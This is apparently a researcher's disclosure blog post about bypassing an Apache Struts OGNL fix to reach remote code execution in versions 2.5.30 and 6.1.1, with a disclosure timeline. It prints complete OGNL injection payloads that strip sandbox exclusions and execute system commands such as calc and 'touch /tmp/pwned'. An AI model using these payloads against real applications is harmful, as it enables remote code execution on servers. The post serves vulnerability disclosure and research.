RCE on Apache Struts 2.5.30 and 6.x
RCE in Apache Struts 2.5.30 and 6.x
Abstract
In early May 2021 I reported a second RCE on Apache Struts 2.5.0-2.5.29 here and disclosed the details a month after the fix was made public. Again, like many of you security researchers, I had to look more into it. So I kept digging and found a bypass to one of the RCE's that got fixed, which I'll briefly be describing here. There is no CVE identifier for this.
To be clear, this is a rare situation that most programs wont run into and applies specifically to a 'select' type object. It is considered by Apache Struts to be a developer error in which the developer is forcing an evaluation ('%{}') with untrusted user input and thus not a vulnerability. Please see Apache Struts's Security page for more details on this.
Vulnerability Analysis
A reminder, OGNL evaluations are exploitable when OGNL code is evaluated twice. If you need an example of that please read through the previous two RCEs I wrote about. The bypass involves the ftl file issue.
"Passing text = a') + #application + getText('b will result in: stack.findValue("getText('a') + #application + getText('b')") which allows you to evaluate variables outside of the 'getText()' limited function. From there you can once again create your sandbox escape and reach RCE. "
An example of vulnerable struts element this would apply to is the following where the listValueKey of a select object would be affected:
<s:select label="Pets"
name="petIds"
list="#{'01':'Jan', '02':'Feb'}"
listValueKey="%{userValue}"
listValue="name"
multiple="true"
size="3"
required="true"
value="abc"
/>
The fix was listed at line 128 StrutsUtil.java https://github.com/apache/struts/commit/8d6e26e0feb8cb1669f45a66e458860534b94571#diff-c466b6e7ea033819cf9dd7d3bd0245717ed0593188c6e739e9d206e5caf51244L128
The idea being replace all single quotes with double quotes, so you can't escape the 'getText' function. Looking more into this I realized some things are still being evaluated, but I couldn't escape getText and couldn't call #application.
Typically for the recent POCs you'd start off by calling the #application object. From here, you could call functions until you achieved RCE. However, while only a handful, there are other top level variables you can call. Including #__component_stack. This variable gives you access to a list of objects pushed on to the "stack" pertaining to the UI element you are working on.
For a <s:select> this means only the following two objects:[org.apache.struts2.components.Select@20b3a98e,
org.apache.struts2.components.IteratorComponent@133c7058]
At first glance I assumed there wasn't anything to work with. However, I noticed the second element is an IteratorComponent Object which inherits the ContextBean class which has an interesting public function:
https://github.com/apache/struts/blob/77c175c7beb6e97c6d7e1dcbe9757f14a9ff385f/core/src/main/java/org/apache/struts2/components/ContextBean.java#L42
ContextBean has a setVar function which calls findString. The findString function as mentioned in my previous RCE does an OGNL evaluation on the string passed to it. Thus providing a path to the second OGNL evaluation.
POC
POC pseudo code %{#__component_stack[1].setVar("OriginalPOC")}
After taking the original POC and replacing single quotes with allowed characters I was able to create the full POC:
Full payload for POC:
%{#__component_stack[1].setVar("%{(#request.map=#@org. apache.commons.collections. BeanMap@{}).toString(). substring(0,0) +
(#request.map.setBean(#request.get(\\"struts. valueStack\\")) == true).toString().substring(0, 0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{} ).toString().substring(0,0) +
(#request.map2.setBean(#request.get(\\"map\\").get(\\" context\\")) == true).toString().substring(0, 0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{} ).toString().substring(0,0) +
(#request.map3.setBean(#request.get(\\"map2\\").get(\\ "memberAccess\\")) == true).toString().substring(0, 0) +
(#request.get(\\"map3\\").put(\\"excludedPackageNames\\",#@ org.apache.commons. collections.BeanMap@{}.keySet( )) == true).toString().substring(0, 0) +
(#request.get(\\"map3\\").put(\\"excludedClasses\\",#@org. apache.commons.collections. BeanMap@{}.keySet()) == true).toString().substring(0, 0) +
(#application.get(\\"org.apache.tomcat.InstanceManager\ \").newInstance(\\"freemarker. template.utility.Execute\\"). exec({\\"calc.exe\\"}))}")}
Here's the POC in action:
6.x Testing
May 17th the Apache Struts team enabled the default max character count an expression can have to 256 characters. This helps block this specific POC.
https://github.com/apache/struts/commit/3f2518afa802d7ef57597b75c70ffb61de1d011a
6.x Update - Jan 30th
Jan 27th 2023 Alvaro Munoz released blog showcasing a gadget that bypasses 6.x max character (256) restriction https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/
Ex:
c=#@org.apache.commons.beanutils.BeanMap@{})+
c.setBean(@Runtime@class))+
rt=#c['methods'][6].invoke())+
c['methods'][12]).invoke(#rt,'touch /tmp/pwned')
Using Alvaro Munoz's gadget + the existing vulnerability that wasn't fixed = RCE on the latest 6.1.1!!! Again this is rare at this point, but shows code execution is still possible.
Full Payload for 6.1.1 POC:
%{#__component_stack[1].setVar("%{(#c=#@org.apache.commons.beanutils.BeanMap@{})+
(#c.setBean(@java.lang.Runtime@class))+
(#rt=#c[\\"methods\\"][6].invoke())+
(#c[\\"methods\\"][12]).invoke(#rt,\\"calc\\")}")}
Timeline
- April 12th 2022 - Submitted a bypass for a double OGNL evaluation vulnerability leading to RCE and provided possible remediation fixes.
- April 12th 2022 - Got a reply that they wont accept 'issues caused by developer error anymore as vulnerabilities'. But that they will try to minimize on developer error by adding protections in Struts2 ver 6 since they wont be releasing 2.5.x changes except for 'security reasons'.
- May 25th 2022 - Publicly posted 2nd RCE
- Oct 28th 2022 - Verified still worked in latest 2.x
- Jan 27th 2023 - Alvaro Munoz released blog showcasing a gadget that bypasses 6.x max character (256) restriction https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/
Comments
Post a Comment